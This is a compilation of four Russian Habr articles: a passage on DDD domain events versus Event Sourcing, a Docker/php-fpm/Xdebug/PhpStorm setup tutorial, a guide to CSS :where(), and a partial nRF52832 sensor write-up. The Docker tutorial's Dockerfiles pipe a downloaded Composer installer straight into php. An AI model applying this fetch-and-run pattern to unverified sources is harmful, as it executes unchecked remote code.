Хотя в книге Эрика Эванса это явно не обозначено, но события предметной области очень хорошо содействуют концепциям DDD. Такие практики как [Event Storming](https://en.wikipedia.org/wiki/Event_storming) Альберто Брандолини смещают акцент у событий с технического на организационный и бизнес-уровень. Здесь мы говорим не о событиях пользовательского интерфейса, таких как щелчок на кнопке (ButtonClickedEvent), а о доменных событиях, которые являются частью предметной области. О них говорят и их понимают эксперты в предметной области. Эти события представляют собой первоочередные концепции и помогают сформировать единый язык ([ubiquitous language](https://martinfowler.com/bliki/UbiquitousLanguage.html)), с которым будут согласны все участники (эксперты в предметной области, разработчики и т.д.).
### События домена, используемые для связи между контекстами
Доменные события могут использоваться для взаимодействия между ограниченными контекстами. Предположим, у нас есть интернет-магазин с тремя контекстами: **Order** (заказ), **Delivery** (доставка), **Invoice** (счет).
Рассмотрим событие *“Заказ принят”* в контексте Order. Контекст Invoice, а также контекст Delivery заинтересованы в отслеживании этого события, так как это событие инициирует некоторые внутренние процессы в этих контекстах.
### Миф о слабой связанности
Использование доменных событий помогает разрабатывать слабосвязанные модули. Отдельные модули могут быть временно не доступны. Но для доменного события совершенно не важно доступны они или нет, так как событие только описывает то, что произошло в прошлом. Другие модули сами решают, когда обработать событие. У вас по умолчанию получается гибкая система.
Помимо развязки по времени, доменные события дают вам еще одно преимущество: контекст заказа не должен знать, что контекст счетов и доставки слушают его события. На самом деле ему даже не нужно знать, что эти контексты существуют.
Это здорово, но сложность заключается в решении того, какие данные хранить в событии?
### Простой ответ: Event Sourcing!
События полезны, так почему бы не использовать их по максимуму. Это основная идея [Event Sourcing](https://microservices.io/patterns/data/event-sourcing.html). Вы храните состояние агрегата не через обновление его данных (CRUD), а через применение потока событий.
Помимо того, что вы можете воспроизвести события и получить состояние, есть еще одна особенность Event Sourcing: вы бесплатно получаете полный журнал аудита. Поэтому, когда требуется такой журнал, при выборе стратегии хранения обязательно обратите внимание на Event Sourcing.
### Event Sourcing — это только уровень хранения
Вам может показаться странным, что я сразу перешел от доменных событий к хранению, так как, очевидно, что это концепции разных уровней.
… и вот моя точка зрения: Event Sourcing — это локальное решение, используемое только в одном ограниченном контексте! События Event Sourcing не должны выдаваться наружу во внешний мир! Другие ограниченные контексты не должны знать о способах хранения данных друг друга, и поэтому им не важно, использует ли какой-то контекст Event Sourcing.
Если вы используете Event Sourcing глобально, то вы раскрываете свой уровень хранения.
Способ хранения данных становится вашим публичным API. Каждый раз при внесении изменений в уровень хранения вам придется иметь дело с изменением публичного API.
Я уверен, все согласятся с тем, что плохо, когда разные ограниченные контексты [совместно используют данные в (реляционной) базе данных](https://microservices.io/patterns/data/shared-database.html) из-за возникающей связанности. Но чем это отличается от Event Sourcing? Ничем. Не имеет значения, используете вы общие события или общие таблицы в базе данных. В обоих случаях вы разделяете детали хранения.
### Выход есть
Я все еще утверждаю, что доменные события идеально подходят для взаимодействия между ограниченными контекстами, но эти события не должны быть связаны с событиями, которые используются для Event Sourcing.
Предлагаемое решение очень простое: независимо от того, какой подход вы используете для хранения данных (CRUD или Event Sourcing), вы публикуете доменные события в глобальном хранилище событий. Эти события представляют собой публичное API вашего контекста. При использовании Event Sourcing вы храните события Event Sourcing в своем локальном хранилище, доступном только для этого ограниченного контекста.
### Свобода выбора
Наличие отдельных доменных событий в публичном API позволяет вам гибко их моделировать. Вы не ограничены моделью, которая предопределена событиями Event Sourcing.
Есть два варианта для работы с ”событиями реального мира”: служба с открытым протоколом и общедоступным языком (Open Host Service, Published Language) или Заказчик / Поставщик (Customer/Supplier).
### Служба с открытым протоколом и общедоступным языком (Open Host Service, Published Language)
Публикуется только одно доменное событие, содержащее все данные, которые могут понадобиться другим ограниченным контекстам. В терминологии DDD это можно назвать службой с открытым протоколом (Open Host Service) и общедоступным языком (Published Language).

Наступление события реального мира “Заказ принят” приводит к тому, что публикуется одно доменное событие *OrderAccepted*. Полезная нагрузка этого события содержит все данные о заказе, которые, могут понадобиться другим ограниченным контекстам… так что, надеюсь, контексты Invoice и Delivery найдут всю необходимую им информацию.
### Заказчик / Поставщик (Customer/Supplier)
Для каждого потребителя публикуются отдельные события. Необходимо согласовать модели каждого события только с одним потребителем, не требуется определять общую разделяемую модель. DDD называет эти отношения Заказчик / Поставщик (Customer/Supplier).

Возникновение события реального мира “Заказ принят” приводит к публикации отдельных событий для каждого из потребителей: `InvoiceOrderAccepted` и `DeliveryOrderAccepted`. Каждое доменное событие содержит только те данные, которые необходимы контексту-получателю.
Я не хочу сейчас обсуждать плюсы и минусы этих подходов. Я хочу просто обратить внимание на то, что можно выбирать количество доменных событий и данные, которые в них хранить.
Это преимущество, которое вы не должны недооценивать, потому что можно решить, как развивать API вашего ограниченного контекста без привязки к событиям Event Sourcing.
### Заключение
Выставление наружу деталей хранения — хорошо известный анти-паттерн. Говоря о хранении, мы в первую очередь думаем о таблицах базы данных, но мы увидели, что события, используемые для Event Sourcing, являются лишь еще одним способом хранения данных. Поэтому выдавать их наружу тоже является анти-паттерном.

*Перевод: “хороший разработчик как оборотень — боится серебряных пуль”.*
Event Sourcing — это мощный подход, если используется правильно (локально). На первый взгляд кажется, что для событийно-ориентированных архитектур это серебряная пуля, но если присмотреться внимательнее, то видно, что этот подход может привести к сильной связанности … чего вы, конечно, не хотите.
### Ссылки
Помимо моего личного опыта, я получил много вдохновения от различных статей и конференций. Я хотел бы отметить выступление Эберхарда Вольфа (Eberhard Wolff) “Event-based Architecture and Implementations with Kafka and Atom” (событийная архитектура и реализация с использованием Kafka и Atom). Особенно про [Event Sourcing](https://youtu.be/Ecg7lvvm8aU?t=1178) и про то, [что такое события](https://youtu.be/Ecg7lvvm8aU?t=655), что очень актуально в контексте этого поста. Пример с интернет-магазином также был вдохновлен этим докладом.
Если вы хотите получить больше информации, вы можете обратиться к этим ресурсам:
* Статья Christian Stettler [Domain Events vs. Event Sourcing](https://www.innoq.com/en/blog/domain-events-versus-event-sourcing/)
* Статья Hugo Rocha [What they don’t tell you about event sourcing](https://medium.com/@hugo.oliveira.rocha/what-they-dont-tell-you-about-event-sourcing-6afc23c69e9a)
* Выступление на конференции Greg Young [A Decade of DDD, CQRS, Event Sourcing (CQRS/ES is NOT a top level architecture)](https://youtu.be/LDW0QWie21s?t=1259)
**[Бесплатный вебинар: «Микросервисная архитектура: достоинства и недостатки»](https://otus.pw/i1jUa/).** | https://habr.com/ru/post/492066/ | null | ru | null |
# Docker + php-fpm + PhpStorm + Xdebug
Не так давно тимлид нашей команды сказал: ребята я хочу, чтобы у всех была одинаковая среда разработки для наших боевых проектов + мы должны уметь дебажить всё — и web приложения, и api запросы, и консольные скрипты, чтобы экономить свои нервы и время. И поможет нам в этом docker.
Сказано — сделано. Подробности под катом.
В сети есть много мануалов по контейнеризации, но как их применить к реальной боевой разработке? Для каждого проекта написать свой docker-compose.yml? Но все наши проекты общаются между собой через апи, они все используют стандартный стек технологий: nginx + php-fpm + mysql.
Поэтому, давайте уточним условия задачи:
1. Мы работаем в компании, в команде, сопровождаем несколько боевых проектов. Все работаем под Ubuntu + PhpStorm
2. Для локальной разработки мы хотим использовать докер, для того, чтобы иметь одинаковую среду разработки у каждого члена команды, а также для того, чтобы когда придет новый разработчик, он смог быстро развернуть рабочее окружение
3. Мы хотим разрабатывать с комфортом, мы хотим дебажить всё: и web приложения, и консольные скрипты, и api запросы.
Еще раз: мы хотим завести в докер **несколько** рабочих проектов.
На боевых серверах используется стандартная связка nginx + php-fpm + mysql. И, в чем проблема?
Разворачиваем на локальной машине точно такое же окружение + Xdebug, настраиваем наши проекты в PhpStorm, работаем. Для дебага включаем «трубку» в PhpStorm, всё работает из коробки, всё замечательно.

Всё это действительно так — всё работает из коробки. Но, давайте попробуем заглянуть под капот нашего рабочего окружения.
Nginx + php-fpm общаются через сокет, xdebug слушает порт 9000, PhpStorm тоже, по умолчанию, слушает порт 9000 для дебага и всё вроде бы замечательно. А если у нас открыто несколько приложений в PhpStorm, и включена прослушка («трубка)» для нескольких приложений? Что сделает PhpStorm? Он начнет ругаться, что обнаружено новое подключение для Xdebug, вы хотите его игнорировать, или нет?
Т.е., при настройках по умолчанию в PhpStorm, в конкретный момент времени, я могу дебажить только одно приложение. У всех других открытых приложений дебаг должен быть выключен. Блин, но это же неудобно. Я хочу слушать для дебага все приложения, и если в каком-то из них стоит точка останова, то я хочу, чтобы PhpStorm остановился в этом приложении, на той строке, где мне нужно.
А что для этого нужно? А нужно, чтобы каждое приложение запускалось со своими настройками для Xdebug. Чтобы каждое приложение слушало свой порт, искало свой сервер, а не так, как у нас всё общее, всё в одной куче.
А для этого есть замечательный докер! Мы можем запустить каждое наше боевое приложение в отдельном контейнере, на основе одного общего образа, например, php:7.1-fpm. Благодаря технологии докера мы можем изолировать наши приложения, при минимальных накладных расходах.
Ок, давайте заведем наши боевые проекты под докер, запустим каждый проект в отдельном контейнере, настроим каждый проект в PhpStorm для дебага индивидуально, всё должно быть замечательно.
И, упс, первая проблема: контейнеры в докере запускаются от имени суперпользователя root, а локально мы работаем, обычно, от пользователя с uid 1000, gid 1000. Приложения боевые, и давать каждому приложению права 777 на всё — это не выход. Наши же приложения под гитом, и если мы дадим права 777 локально, то гит всё это запишет, и передаст на боевой сервер.
Костылим, вот пример образа php:7.1-fpm, который будет собираться.
#### Update
Как справедливо указало сообщество — совсем уж жестко костылить всё-таки не надо.
Например хаброюзер [1ntrovert](https://habr.com/ru/users/1ntrovert/) [в своем комментарии](https://habr.com/ru/post/473184/#comment_20811900)
**Первоначальный пример образа php:7.1-fpm (uid и gid жестко прописаны)**
```
FROM php:7.1-fpm
RUN apt-get update && apt-get install -y \
git \
curl \
wget \
libfreetype6-dev \
libjpeg62-turbo-dev \
libmcrypt-dev \
libpng-dev zlib1g-dev libicu-dev g++ libmagickwand-dev libxml2-dev \
&& docker-php-ext-configure intl \
&& docker-php-ext-install intl \
&& docker-php-ext-install mbstring zip xml gd mcrypt pdo_mysql \
&& docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ \
&& docker-php-ext-install -j$(nproc) gd \
&& pecl install imagick \
&& docker-php-ext-enable imagick \
&& pecl install xdebug \
&& docker-php-ext-enable xdebug
ADD ./php.ini /usr/local/etc/php/php.ini
RUN wget https://getcomposer.org/installer -O - -q \
| php -- --install-dir=/bin --filename=composer --quiet
RUN usermod -u 1000 www-data && groupmod -g 1000 www-data
WORKDIR /var/www
USER 1000:1000
CMD ["php-fpm"]
```
Поправленный пример Dockerfile
```
FROM php:7.1-fpm
ARG USER_ID
ARG GROUP_ID
RUN apt-get update && apt-get install -y \
git \
curl \
wget \
libfreetype6-dev \
libjpeg62-turbo-dev \
libmcrypt-dev \
libpng-dev zlib1g-dev libicu-dev g++ libmagickwand-dev --no-install-recommends libxml2-dev \
&& docker-php-ext-configure intl \
&& docker-php-ext-install intl \
&& docker-php-ext-install mbstring zip xml gd mcrypt pdo_mysql \
&& pecl install imagick \
&& docker-php-ext-enable imagick \
&& pecl install xdebug-2.5.0 \
&& docker-php-ext-enable xdebug
ADD ./php.ini /usr/local/etc/php/php.ini
RUN wget https://getcomposer.org/installer -O - -q \
| php -- --install-dir=/bin --filename=composer --quiet
RUN usermod -u ${USER_ID} www-data && groupmod -g ${GROUP_ID} www-data
WORKDIR /var/www
USER "${USER_ID}:${GROUP_ID}"
CMD ["php-fpm"]
```
~~При запуске контейнера из данного образа пользователь www-data получает uid=1000, gid=1000. Обычно такие права у первого созданного пользователя в операционной системе Линукс. И, именно с такими правами будут работать наши php-fpm контейнеры. Буду очень благодарен, если кто-то подскажет как можно работать без костылей с правами доступа в докер.~~
При запуске контейнера из данного образа пользователь www-data получает uid и gid, которые будут переданы извне.
**Также в комментариях поднималась тема**: зачем вообще менять права пользователю www-data, чем не устраивают стандартные права 33. Только одним: когда мы зайдем в контейнер, и создадим, например, файл миграции, то на машине хоста владельцем этого файла будем не мы. И каждый раз надо будет запускать что-то вроде
```
sudo chown -R user:user ./
```
И вторая небольшая проблема: для корректной работы Xdebug необходимо прописать верный ip адрес для машины хоста. У каждого члена команды он разный. 127.0.0.1 не катит. И тут нам на помощь приходит сам докер. Например, мы можем явно сконфигурировать сеть — 192.168.220.0/28. И тогда наша машина всегда будет иметь адрес 192.168.220.1. Этот адрес мы будем использовать как для настройки PhpStorm, так и для настройки других приложений. Например, при работе с MySql.
Сам docker-compose.yml, после учета замечаний, выглядит так:
```
version: '3'
services:
php71-first:
build:
context: ./images/php71
args:
- USER_ID
- GROUP_ID
volumes:
- ./www:/var/www
- ./aliases/php71/bash.bashrc:/etc/bash.bashrc
environment:
XDEBUG_CONFIG: "remote_host=192.168.220.1 remote_enable=1 remote_autostart=off remote_port=9008"
PHP_IDE_CONFIG: "serverName=first"
networks:
- test-network
php71-two:
build:
context: ./images/php71
args:
- USER_ID
- GROUP_ID
volumes:
- ./www:/var/www
- ./aliases/php71/bash.bashrc:/etc/bash.bashrc
environment:
XDEBUG_CONFIG: "remote_host=192.168.220.1 remote_enable=1 remote_autostart=off remote_port=9009"
PHP_IDE_CONFIG: "serverName=two"
networks:
- test-network
nginx-test:
image: nginx
volumes:
- ./hosts:/etc/nginx/conf.d
- ./www:/var/www
- ./logs:/var/log/nginx
ports:
- "8080:80"
depends_on:
- php71-first
- php71-two
networks:
test-network:
aliases: # алиасы нужны если нужно общаться внутри сети между хостами. Например, если вы используете api
- first.loc
- two.loc
# mysql:
# image: mysql:5.7
# ports:
# - "3306:3306"
# volumes:
# - ./mysql/data:/var/lib/mysql
# environment:
# MYSQL_ROOT_PASSWORD: secret
# networks:
# - test-network
networks:
test-network:
driver: bridge
ipam:
driver: default
config:
- subnet: 192.168.220.0/28
```
Мы видим, что в данном конфиге создаются два контейнера php71-first и php71-two, на основе одного образа php:7.1-fpm. У каждого контейнера свои настройки для Xdebug. Каждый отдельно взятый контейнер будет слушать, для дебага, свой порт и свой сервер.
Также, обращаю ваше внимание на директивы
```
args:
- USER_ID
- GROUP_ID
```
Без этих переменных образ php-fpm не запустится. Вопрос: как их передать в docker-compose.yml? Ответ: так как удобнее вам. Можно при запуске:
```
USER_ID=$(id -u) GROUP_ID=$(id -g) docker-compose up -d
```
Можно прописать эти переменные в файле .env, который лежит на одном уровне с файлом docker-compose.yml
`USER_ID=1000
GROUP_ID=1000`
Мне больше нравится вариант с .env файлом. Конечно-же можно использовать Makefile. Кому как больше нравится.
Полный код для демо версии выложен на [гитхабе](https://github.com/ale10257/docker-with-php-xdebug).
Листинг демо проекта:

Пробежимся, кратко, по листингу проекта.
Каталог aliases -> php71 -> bash.bashrc. Спорный момент. Я предпочитаю общаться с php-fpm контейнерами через алиасы.
Данный файл пробрасывается в docker-compose.yml: — ./aliases/php71/bash.bashrc:/etc/bash.bashrc
Стандартный инструмент Линукса.
Каталог hosts — конфигурационные файлы для Nginx. В каждом конфиге прописан свой контейнер php-fpm. Пример:
```
server {
listen 80;
index index.php;
server_name first.loc;
error_log /var/log/nginx/first_error.log;
root /var/www/first.loc;
location / {
try_files $uri /index.php?$args;
}
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# контейнер php-fpm
fastcgi_pass php71-first:9000;
fastcgi_index index.php;
fastcgi_read_timeout 1000;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
```
Каталог images — инструкции для сборки образов php-fpm, каталог mysql — храним базы, каталог www — все наши web проекты, в нашем примере first.loc и two.loc.
**Давайте подведем промежуточные итоги**: используя возможности докера мы запустили все свои рабочие проекты в одном окружении. Все наши проекты видят друг друга, для каждого из проектов прописаны уникальные настройки для Xdebug.
Осталось корректно настроить PhpStorm для каждого из проектов. При настройке мы должны прописать порт для дебага и имя сервера в нескольких местах.
Создаем проект в PhpStorm



Настраивать будем разделы меню
— PHP (необходимо верно прописать CLI Interpreter),
— Debug (меняем порт на 9008, как в файле docker-compose.yml),
~~— DBGp proxy (IDE key, Host, Port),~~
**update** Спасибо хаброюзеру [CrazyLazy](https://habr.com/ru/users/crazylazy/) за важное замечание. Пункт меню DBGp proxy настраивать не надо.
— Servers (необходимо верно указать имя сервера, как в файле docker-compose.yml, и use path mappings)

Все дальнейшие скрины буду прятать под спойлер.
**Настраиваем CLI Interpreter из docker-compose.yml файла**Хитрого ничего нет — важно, при настройке выбрать нужный образ, и верно прописать имя сервера. По умолчанию имя сервера Docker, у нас оно своё.









**Настраиваем раздел меню Debug**Опять же всё прописываем из настроек docker-compose.yml для конкретного контейнера. На этом же шаге валидируем как работает наш дебаг.


**Настраиваем раздел меню Servers**Важно правильно прописать use path mappings, имя сервера опять же берем из настроек


**Уходим из раздела меню File -> Settings, идем в раздел меню Run -> Edit Configuration, создаем Php Web Page**Сервер выбираем наш, созданный на предыдущем шаге.



#### Ну, собственно и всё. Написано много букв, вроде бы всё непросто
На самом деле — главное понять очень простую вещь. Благодаря технологии докера мы можем запустить все наши рабочие приложения в едином пространстве, но с разными настройками для Xdebug. Каждое приложение работает в своем контейнере, и нам остаётся аккуратно прописать настройки для каждого приложения в PhpStorm.
И на выходе мы получаем чудесную картину.
1. Клонируем репозиторий на [гитхабе](https://github.com/ale10257/docker-with-php-xdebug). Создаем .env файл с переменными
`USER_ID=ваш uid
GROUP_ID=ваш gid`
2. Прописываем узлы first.loc и two.loc в файле /etc/hosts
```
127.0.0.1 first.loc
127.0.0.1 two.loc
```
3. В папке с гитом запускаем команду `docker-compose up -d`
4. Настраиваем оба проекта first.loc и two.loc в PhpStorm, так как описано выше, и запускаем оба проекта в PhpStorm. Т.е. у нас открыто два окна PhpStorm, с двумя проектами, каждый из них слушает входящие соединения (трубка включена).
5. В проекте two.loc ставим точку останова на второй, например, строке. В первом проекте first.loc запускаем http запрос из файла http.http
И о чудо! Нас перекидывает во второй проект, на нашу точку останова.
Для дебага консольных скриптов делаем всё ровно тоже самое. Включаем трубку для прослушки, ставим точку останова, заходим в нужный контейнер, запускаем нужный скрипт.
Что-то вроде:
```
alex@alex-Aspire-ES1-572 ~ $ php71first
www-data@a0e771cfac72:~$ cdf
www-data@a0e771cfac72:~/first.loc$ php index.php
I'am first host
www-data@a0e771cfac72:~/first.loc$
```
Где php71first — алиас на машине хоста:
```
alias php71first="cd ~/docker_git && docker-compose exec php71-first bash"
```
`cdf` — алиас, который работает в контейнере. Выше я писал о том, что для общения с контейнерами предпочитаю использовать алиасы.
На этом всё, конструктивная критика, замечания приветствуются.
P.S. Хочется выразить огромную благодарность Денису Бондарю за его статью [PhpStorm + Docker + Xdebug](https://blog.denisbondar.com/post/phpstorm_docker_xdebug), которая была отправной точкой для написания данного туториала. | https://habr.com/ru/post/473184/ | null | ru | null |
# Погружаемся в CSS: как использовать :where ()
Функция `:where()` помогает писать меньше кода, применять стили ко всему списку и снимает головную боль при использовании CSS reset. В статье разберёмся, как это работает, и посмотрим на примеры использования.
#### Что это за функция CSS :where()
Как пишут на [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/:where), `:where()` — это псевдокласс, который в качестве аргумента принимает список селекторов и применяет заданные стили к любому элементу из этого списка. Полезен, когда надо укоротить длинный список селекторов.
В CSS часто приходится писать длинный список селекторов, разделённых запятыми, когда к нескольким элементам одновременно применяются одни и те же стили.
Вот что бывает, когда один и тот же стиль применим ко всем тегам внутри `header`, `main` и `footer`.
```
header a:hover,
main a:hover,
footer a:hover {
color: green;
text-decoratíon: underline;
}
```
Выше у нас только три элемента. Но когда их больше, код становится трудно читать и понимать. А ещё он визуально становится некрасивым. Вот тут-то и требуется `:where()`.
```
:where(header, main, footer) a:hover {
color: red;
text-decoratíon: underline;
}
```
Браузер доходит до такого фрагмента кода. Код отправляет его к селекторам `header`, `main`, и `footer` и ко всем якорям в этих селекторах. Когда пользователь наведет курсор на якорь, браузер применит заданный стиль. В этом случае — `red` и `underline`. То есть список селекторов можно записать коротко и ясно.
#### Что можно сделать с :where()
С помощью `:where()` можно группироваться элементы разными способами. Можно разместить `:where()` в начале, середине или в конце селектора. Допустим, у нас есть списки.
```
/* first list */
header a:hover,
main a:hover,
footer a:hover {
color: green;
text-decoratíon: underline;
}
/* second list */
article header > p,
article footer > p{
color: gray;
}
/* third list */
.dark-theme button,
.dark-theme a,
.dim-theme button,
.dim-theme a{
color: purple;
}
```
А вот то же самое, сделанное с `:where()`.
```
/* first list */
/* at the beginning */
:where(header, main, footer) a:hover {
color: red;
text-decoratíon: underline;
}
/* second list */
/* in the middle */
article :where(header, footer) > p {
color: gray;
}
/* third list */
/* at the end */
.dark-theme :where(button, a) {
color: purple;
}
```
В первом списке мы указываем, что `red` и `underline` должны применяться к `header`, `main`, и `footer` при наведении курсора.
Во втором списке указываем, что содержание, заголовок и футер окрашены в серый.
В третьем списке мы указываем, что для `button` и `a` задали стили `.dark-theme` и `purple`.
Упростим ещё.
```
/* at the end */
.dim-theme :where(button, a) {
color: purple;
}
```
И ещё.
```
/* stacked */
:where(.dark-theme, .dim-theme) :where(button, a) {
color: purple;
}
```
Такой подход к сокращению сложного списка селекторов называется наложением.
#### Специфичность и :where()
Специфичность — способ, с помощью которого браузеры определяют, какие значения свойств CSS или стили нужно применить к конкретному элементу.
Специфичность `:where()` всегда равна нулю. Следовательно, любой элемент, на который нацелена функция, автоматически получает равную нулю специфичность. Поэтому можно легко аннулировать стиль любого элемента, сводя специфичность к нулю. Пример с упорядоченными списками HTML.
```
First list no class
-------------------
1. List Item 1
2. List Item 2
Second list with class
----------------------
1. List Item 1
2. List Item 2
Third list with class
---------------------
1. List Item 1
2. List Item 2
```
Во фрагменте кода есть три упорядоченных списка с двумя элементами в каждом. У второго и третьего списка есть заданный класс, у первого — нет. Без применения стилей каждый список упорядочен по номерам.
Добавляем стили. Для этого используем `:where()`, чтобы выбрать все теги , к которым применен `class`.
```
:where(ol[class]) {
list-style-type: none;
}
```
Ниже видим, что `:where()` применяется ко второму и третьему списку (с классами), поэтому стиль списков удалён.
Добавляем ещё стили.
```
:where(ol[class]) {
list-style-type: none;
}
.second-list {
list-style-type: disc;
}
```
Если применять `:where()` только ко второму списку, используя наименование класса, то список отобразится с маркерами. А у третьего списка по-прежнему нет стиля.
Вопрос: разве так и не должно быть, раз новый стиль записан ниже `:where()`? Нет, и сейчас разберёмся, почему.
Посмотрим, что произойдёт, если переместить добавленный код в верхнюю часть блока кода и передвинуть :where() вниз.
```
.second-list {
list-style-type: disc;
}
:where(ol[class]) {
list-style-type: none;
}
```
Стиль всё ещё не изменился.
Запомним, что у `:where()` нулевая специфичность. Вне зависимости от того, где размещён новый код относительно `:where()`, специфичность элемента, к которому применяется `:where()`, равна нулю, а стили аннулированы. Для наглядности давайте добавим стили второго списка в третий список после `:where()`в коде.
```
.second-list {
list-style-type: disc;
}
:where(ol[class]) {
list-style-type: none;
}
.third-list{
list-style-type: disc;
}
```
Теперь и второй, и третий список отображаются с маркерами, независимо от размещения кода.
Теперь посмотрим, как `:where()` будет работать, если один из элементов выбран с помощью недопустимого селектора.
#### Forgiving и :where()
Если браузер в CSS не распознает только один селектор в списке, весь список окажется недопустимым. Стиль не будет применяться. Но только если не использовать `:where()`.
Если элемент в `:where()` содержит недопустимый селектор, никакой стиль к этому элементу применен не будет. Но для остальных элементов стили сработают. Функция `:where()` пропустит недопустимый селектор. Поэтому `:where()` называют forgiving-селектором, дословно — «прощающим».
Ниже видим селектор `:unsupported` — недопустимый для многих браузеров. Но весь код ниже будет успешно распарсен и будет соответствовать селектору `:valid`, даже в браузерах, которые не поддерживают `:unsupported`.
```
:where(:valid, :unsupported) {
...
}
```
А вот пример кода, который будет проигнорирован в браузерах, которые не поддерживают`:unsupported`, но при этом поддерживают селектор `:valid`.
```
:valid, :unsupported {
...
}
```
#### Где можно и нельзя использовать :where()
Инструмент полезный, но со своими ограничениями. В основном ошибаются из-за нулевой специфичности. Если существует элемент или набор элементов, у которых ни в коем случае не должен поменяться стиль, :where() лучше не использовать. Посмотрим, в каких случаях `:where()` нужна и хорошо работает.
**Улучшить CSS reset**
CSS reset — это загрузка набора правил перед применением любых стилей, чтобы очистить браузер от заданных по умолчанию стилей, и чтобы устранить несоответствия между разными браузерами. CSS reset обычно размещают до собственной таблицы стилей, чтобы эти правила сработали первыми. От сложности или простоты селекторов в CSS reset зависит, насколько трудно будет переопределить исходные стили в коде.
Например, представьте, что мы захотели оформить все якоря на странице зелёным. А потом решили, что в футере все якоря должны быть серыми.
Новый стиль (серый цвет) не применяется из-за особенностей CSS reset. У селектора в CSS reset более высокий порядок специфичности, чем у селектора в коде, который применяет стили только для футера. Но если добавить `:where()` в CSS reset, все элементы в CSS reset автоматически приобретут нулевую специфичность. Позже, когда будем менять стили, не надо будет беспокоиться о конфликтах специфичности.
**Удалить стили**
Функция `:where()` помогает удалить или обнулить стили или изменить специфичность элементов. Когда поместим функцию в код, она сработает как reset на минималках.
**Минимизировать код**
Короткий код легко читать и исправлять. Хороший тон — проверять, можно ли сократить любой код, в котором есть больше двух запятых или больше трёх элементов списка. Эта же стратегия помогает комбинировать два и более селектора: `section > header > p > a`.
---
Функция `:where()` помогает работать с CSS resets, удалять стили в любом месте кода и просто делать код красивым и понятным. Пользуетесь? | https://habr.com/ru/post/657651/ | null | ru | null |
# Беспроводной датчик температуры, влажности и атмосферного давления на nRF52832
Приветствую всех читателей Habr! Сегодняшняя статья будет о датчике температуры, влажности и атмосферного давления c длительным сроком работы от одной батарейки. Датчик работает на микроконтроллере nRF52832 ([даташит](https://infocenter.nordicsemi.com/pdf/nRF52832_PS_v1.0.pdf)). Для получения температуры, влажности и атмосферного давления использован сенсор BME280 — [даташит](https://cdn-shop.adafruit.com/product-files/2652/2652.pdf). Датчик работает от батареек CR2430/CR2450/CR2477. Потребление в режиме передачи составляет 8мА, в режиме сна 5мкА. Итак, обо всем попорядку.

Это Arduino проект, программа написана в Arduino IDE, Для работы сенсора BME280 использована библиотека Adafruit Industries — [гитхаб сенсоры](https://github.com/adafruit/Adafruit_Sensor) | [гитхаб BME280](https://github.com/adafruit/Adafruit_BME280_Library). Для работы с платами nRF52832 в Arduino IDE использован проект Sandeep Mistry — [гитхаб](https://github.com/sandeepmistry/arduino-nRF5). Передача данных на контролер Умного Дома осуществляется по протоколу Mysensors — гитхаб[платы](https://github.com/mysensors/ArduinoBoards) | [протокол|библиотека](https://github.com/mysensors/MySensors).
Плата датчика разрабатывалась в программе Диптрейс. Размеры платы 36.8мм Х 25мм.

**Перечень используемых компонентов**
* С1 — cap0603 100nF
* C2 — cap0603 100nF
* R1 — res0603 332
* R2 — res0603 85b
* R3 — res0603 113
* R4 — res0603 912
* R5 — res0603 113
* R6 — res0603 512
* R7 — res0603 512
* RGBL1 — led0805 rgb
* SWD — PPHF 2x3 6p 1.27mm
* U1 — YJ-16048 nRF52832
* U2 — BME280
* CONNECT — тактовая кнопка KLS7-TS5401
* RESET — тактовая кнопка KLS7-TS5401
* Держатель батареи KW-BS-2450-2-SMT
* Переключатель dsc0012
Плата заказывалась через сайт [jlcpcb.com](https://jlcpcb.com/) — 2$ за 5 штук в любом цвете.


[Ссылка на архив с гербер файлами](https://drive.google.com/file/d/1xdNjZmjKsELLEp4_vSpQi_SpF_XfXHr2/view?usp=sharing)
Датчик работает по протоколу Mysensors. Добавить любое устройство в сеть Mysensors достаточно просто. Давайте разберемся на примере этого датчика, пояснения по коду самого датчиком BME280 я опущу, там ничего не меняется при работе с сети Mysensors.
>
> ```
> #define MY_DEBUG // Вывод дебага
> #define MY_RADIO_NRF5_ESB // Выбор типа радиопередатчика(возможные варианты rfm69, rfm95, nrf24l01, nrf51-52)
> #define MY_RF24_PA_LEVEL (NRF5_PA_MAX) // выбор уровня радиосигнала
> #define MY_DISABLED_SERIAL // отключение сериала
> #define MY_PASSIVE_NODE // режим работы ноды(устройство в сети mysensors), PASSIVE означает что отключены все процедуры контроля транспортного уровня, обновление по воздуху, шифрование, безопасность
> #define MY_NODE_ID 1 // ручное назначение идентификатора ноды
> #define MY_PARENT_NODE_ID 0 // ручное назначение идентификатора гейта или ретранслятора
> //#define MY_PARENT_NODE_IS_STATIC // атрибут PARENT_NODE отвечаюший за отключение функционала автоматического перестроения маршрута
> //#define MY_TRANSPORT_UPLINK_CHECK_DISABLED // отключение контроля работоспособности транспортного уровня
>
> #include // - библиотека MySensors
>
> #define TEMP\_CHILD\_ID 0 // назначение идентификатора сенсора температуры
> #define HUM\_CHILD\_ID 1 // назначение идентификатора сенсора влажности
> #define BARO\_CHILD\_ID 2 // назначение идентификатора сенсора атмосферного давления
> #define CHILD\_ID\_VOLT 254 // назначение идентификатора сенсора заряда батареи
>
> MyMessage voltMsg(CHILD\_ID\_VOLT, V\_VOLTAGE); // инициализация сообщения для сенсора заряда батареи
> MyMessage temperatureMsg(TEMP\_CHILD\_ID, V\_TEMP); // инициализация сообщения для сенсора температуры
> MyMessage humidityMsg(HUM\_CHILD\_ID, V\_HUM); // инициализация сообщения для сенсора влажности
> MyMessage pressureMsg(BARO\_CHILD\_ID, V\_PRESSURE); // инициализация сообщения для атмосферного давления
>
> ```
>
Презентация датчиков и сенсоров в контролер умного дома:
>
> ```
> sendSketchInfo("BME280 Sensor", "1.0"); // Название датчика, версия ПО
> present(CHILD_ID_VOLT, S_MULTIMETER, "Battery"); // Презентация сенсора заряда батареи, тип сенсора, описание
> present(TEMP_CHILD_ID, S_TEMP, "TEMPERATURE [C or F]"); // Презентация сенсора температуры, тип сенсора, описание
> present(HUM_CHILD_ID, S_HUM, "HUMIDITY [%]"); // Презентация сенсора влажности, тип сенсора, описание
> present(BARO_CHILD_ID, S_BARO, "PRESSURE [hPa or mmHg]"); // Презентация сенсора атмосферного давления, тип сенсора, описание
>
> ```
>
